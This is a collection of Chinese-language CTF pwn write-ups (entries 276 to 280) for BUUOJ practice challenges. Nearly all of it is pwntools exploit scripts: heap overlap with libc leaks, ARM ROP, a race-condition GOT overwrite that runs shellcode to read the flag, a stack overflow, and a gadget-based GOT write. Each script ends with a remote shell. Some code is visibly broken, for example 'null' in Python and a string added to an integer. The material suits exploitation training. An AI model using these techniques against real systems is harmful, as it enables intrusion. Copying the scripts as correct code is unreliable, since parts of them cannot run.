276 axb_2019_final_blindHeap
朴实而无华。
参考了大佬。
盲打一篇过
exp做了一点点调整。
from pwn import *
all_commodity=1
just_one=2
context.log_level='debug'
context.arch='amd64'
context.log_level = "debug"
# file_name=ELF("./")
libc=ELF("./64/libc-2.23.so")
def Add_shopping_cart(sh,product_descript_size,product_descript,product_name_size,product_name):
sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil("please tell me the desrcription's size.\n")
sh.sendline(str(product_descript_size))
sh.recvuntil('please tell me the desrcript of commodity.\n')
sh.sendline(product_descript)
sh.recvuntil("please tell me the commodity-name's size.\n")
sh.sendline(str(product_name_size))
sh.recvuntil('please tell me the commodity-name.\n')
sh.sendline(product_name)
def Modify_product(sh,index,product_name,product_descript):
sh.recvuntil('Your choice:')
sh.sendline('2')
sh.recvuntil('The index is ')
sh.sendline(str(index))
sh.recvuntil("please tell me the new commodity's name.\n")
sh.sendline(product_name)
sh.recvuntil("please tell me the new commodity's desrcription.\n")
sh.sendline(product_descript)
def Display_product(sh,mode,index=null):
sh.recvuntil('Your choice:')
sh.sendline('3')
sh.recvuntil('Your choice:')
sh.sendline(str(mode))
if mode is just_one:
sh.recvuntil('The index is ')
sh.sendline(str(index))
def Buy_shopping_cart(sh):
sh.recvuntil('Your choice:')
sh.sendline('4')
def Delete_shopping_cart(sh,mode,index=null):
sh.recvuntil('Your choice:')
sh.sendline('5')
sh.recvuntil('Your choice:')
sh.sendline(str(mode))
if mode is just_one:
sh.recvuntil('The index is ')
sh.sendline(str(index))
def Change_name(sh,new_name):
sh.recvuntil('Your choice:')
sh.sendline('6')
sh.recvuntil('Change your name(1~32):')
sh.sendline(new_name)
sh = remote("node4.buuoj.cn", 29041)
sh.recvuntil('Enter your name(1~32):')
sh.send('A' * 0x18 + 'Leak--->')
Add_shopping_cart(sh,0x150,'Chunk_0',0x8,'Chunk_0')
Add_shopping_cart(sh,0x100,'Chunk_1',0x100,'Chunk_1')
Add_shopping_cart(sh,0x100,'Chunk_2',0x100,'Chunk_2')
Add_shopping_cart(sh,0x100,'Chunk_3',0x100,'Chunk_3')
Add_shopping_cart(sh,0x100,'/bin/sh\x00',0x100,'/bin/sh\x00')
Delete_shopping_cart(sh,just_one,1)
sh.recvuntil('Your choice:')
sh.sendline('3')
sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Leak--->')
first_chunk_cart_addr=u64(sh.recvuntil("'s").strip("'s").ljust(8,'\x00'))
first_chunk_name_addr=first_chunk_cart_addr - 0x10 - 0x10
first_chunk_desc_addr=first_chunk_name_addr - 0x10 - 0x150
leak__chunk_desc_addr=first_chunk_cart_addr + 0x20 + 0x10
leak__chunk_name_addr=leak__chunk_desc_addr + 0x100 + 0x10
leak__chunk_cart_addr=leak__chunk_name_addr + 0x100 + 0x10
ctrol_chunk_desc_addr=leak__chunk_cart_addr + 0x20 + 0x10
ctrol_chunk_name_addr=ctrol_chunk_desc_addr + 0x100 + 0x10
ctrol_chunk_cart_addr=ctrol_chunk_name_addr + 0x100 + 0x10
log.success('Chunk_0 -> name : '+str(hex(first_chunk_name_addr)))
log.success('Chunk_0 -> description : '+str(hex(first_chunk_desc_addr)))
log.success('Chunk_0 -> cart : '+str(hex(first_chunk_cart_addr)))
log.success('Chunk_1 -> name : '+str(hex(leak__chunk_name_addr)))
log.success('Chunk_1 -> description : '+str(hex(leak__chunk_desc_addr)))
log.success('Chunk_1 -> cart : '+str(hex(leak__chunk_cart_addr)))
log.success('Chunk_2 -> name : '+str(hex(ctrol_chunk_name_addr)))
log.success('Chunk_2 -> description : '+str(hex(ctrol_chunk_desc_addr)))
log.success('Chunk_2 -> cart : '+str(hex(ctrol_chunk_cart_addr)))
padding = ( 0x100 - (first_chunk_desc_addr & 0xFF) ) - 0x10
payload = 'A' * padding + p64(0) + p64(0x30)
payload += p64(0x20) + p64(leak__chunk_name_addr)
payload += p64(0x20) + p64(ctrol_chunk_cart_addr)
Modify_product(sh,0,'Chunk_0',payload)
Change_name(sh,'A' * 0x18 + 'Leak--->')
Display_product(sh,all_commodity)
sh.recvuntil("commodity's name is ")
main_arena_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('We get main arena address is ' + str(hex(main_arena_addr)))
libc_base = main_arena_addr - 0x3C4B78
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
log.success('We get libc base address is ' + str(hex(libc_base)))
log.success('We get system address is ' + str(hex(system_addr)))
sh.recvline()
payload = p64(0x20) + p64(free_hook)
payload += p64(0x20) + p64(free_hook)
Display_product(sh,all_commodity)
Modify_product(sh,0,p64(main_arena_addr),payload)
Display_product(sh,all_commodity)
Modify_product(sh,2,p64(system_addr),p64(system_addr))
Delete_shopping_cart(sh,just_one,3)
sh.interactive()
277 codegate2018_melong
进来之后首先看到的是个菜单。
功能4的write_diary显然可以有个溢出。
我们稍微说一下我们函数调用,很有意思。
每次调用函数的时候都会有一个PUSH {R4, R11, LR},也就是压栈。
先压的R4,R4是一个必须保护得指针,R11存得是栈指针,LR存的是返回地址。
然后把R11,也就是栈指针维护一下。
最后把栈顶指针-0xc,也就是三个参数都拿走。
函数返回的时候就是倒过来。
我们的溢出显然是在main函数做一个溢出。
分析main函数栈的开始。
首先把返回地址,栈底指针压进去。
然后维护一下栈指针。
然后栈顶指针直接-0x50开栈。
在实际调用的时候
会让R11直接加上0x54,这0x54里面会包含R11,所以我们溢出的时候就直接0x54后面接返回地址就可以了。
exp
from pwn import *
r = remote("node4.buuoj.cn", 25194)
elf = ELF("./277")
libc = ELF("./32/arm/libc-2.30.so")
context.log_level = "debug"
def check(height, weight):
r.sendlineafter(":", "1")
r.sendlineafter(" : ", str(height))
r.sendlineafter(" : ", str(weight))
def PT(size):
r.sendlineafter(":", "3")
r.sendlineafter("?\n", str(size))
def write_diray(payload):
r.sendlineafter(":", "4")
r.send(payload)
def logout():
r.sendlineafter(":", "6")
pop_r0_ret = 0x11bbc
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
check(1,1)
PT(-1)
payload1 = 'a' * 0x54 + p32(pop_r0_ret) + p32(puts_got) + p32(puts_plt) + p32(main_addr)* 2
write_diray(payload1)
logout()
r.recvuntil("See you again :)\n")
libc.address = u32(r.recvn(4)) - libc.sym['puts'] #计算libc基地址
check(1,1)
PT(-1)
payload2 = 'a' * 0x54 + p32(pop_r0_ret) + p32(next(libc.search("/bin/sh"))) + p32(libc.sym['system'])
write_diray(payload2)
logout()
r.interactive()
278 whctf2017_note_sys
保护居然没有开NX。
菜单
make a new note。
一顿输入然后创建了线程。
show
只能输出有多少房子。
delete
也是创建了线程,然后执行里面的函数。
经过调试呢,202080里面放着的是2020c0的地址。
所以就是从2020c0往下一直申请chunk,往下走。
那问题在哪,我们看到题目里面有个显著特征是使用了线程,那么我们就要考虑条件竞争的问题。
我们可以让delete一直减,减到got表,然后通过add函数往got表写一个堆地址,布置shellcode。
但是问题是libc是2.23,那么delete函数里面会free got表,会报错。
但是我们看到有休眠,这就是条件竞争,他还在休眠的时候,没free的时候,我已经add完跑完了。
exp
#coding:utf8
from pwn import *
context(os='linux',arch='amd64')
def add(content):
r.sendlineafter('choice:','0')
r.sendlineafter('input your note, no more than 250 characters\n',content)
def delete():
r.sendlineafter('choice:','2')
def exp():
for i in range(20):
delete()
add(asm(shellcraft.cat("./flag")))
while True:
global r
r = remote('node4.buuoj.cn',25384)
#r = process("./278")
exp()
s = r.recv()
print s
if "flag" in s:
r.interactive()
r.close()
因为时间问题,需要卡在2s内解决问题,多跑几次,网好点。
279 pwnable_wtf
显然整数溢出,然后栈溢出就好啦。
exp
from pwn import *
r = remote('node4.buuoj.cn', 28374)
win = 0x4005F4
payload = 0x38 * 'a' + p64(win)
r.sendline("-1")
r.sendline(payload)
r.interactive()
280 cscctf_2019_qual_signal
映入眼帘的是一个溢出。
所以就仅仅是一个栈溢出而已。
主要是利用了一个神奇的gadget。
ROPgadget --binary cscctf_2019_qual_signal| grep ret | grep "\[rbp"
0x0000000000400618 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x00000000004006dc : mov eax, dword ptr [rbp - 0x108] ; leave ; ret
0x00000000004006db : mov rax, qword ptr [rbp - 0x108] ; leave ; ret
我们利用第一个,只要能控制rbp,再控制rbx,那么我们就可以做到一个任意地址写。
在找gadget的过程中发现ROPgadget默认不检查csu的地方,控制rbx只有csu有,用ROPgadget检查的话还要加参数。
非常神奇吼。
然后我们去找one_gadget的时候默认的不大好找,也要加参数。
因为差的是负数,所以要&一个0xffffffffffffffff
加上一个0x10000000000000000也可以
exp
from pwn import *
r = remote("node4.buuoj.cn", 25006)
payload = "A" * 256 + 8
payload += p64(0x40074a)
# [rbp - 0x3d] = libc + 0x110070
# one_gad = libc + 0xe569f
diff = 0xe569f - 0x110070
print hex(diff)
print hex(diff & 0xffffffffffffffff)
payload += p64(diff & 0xffffffffffffffff)
#payload += p64(diff + 0x10000000000000000)
payload += p64(0x601020 + 0x3d) # write to got of read
payload += "\x00" * 8 * 4 # 为了满足one_gadget,将r12 r14都写为0
payload += p64(0x400618) # magic
payload += p64(0x400530)
r.send(payload)
r.interactive()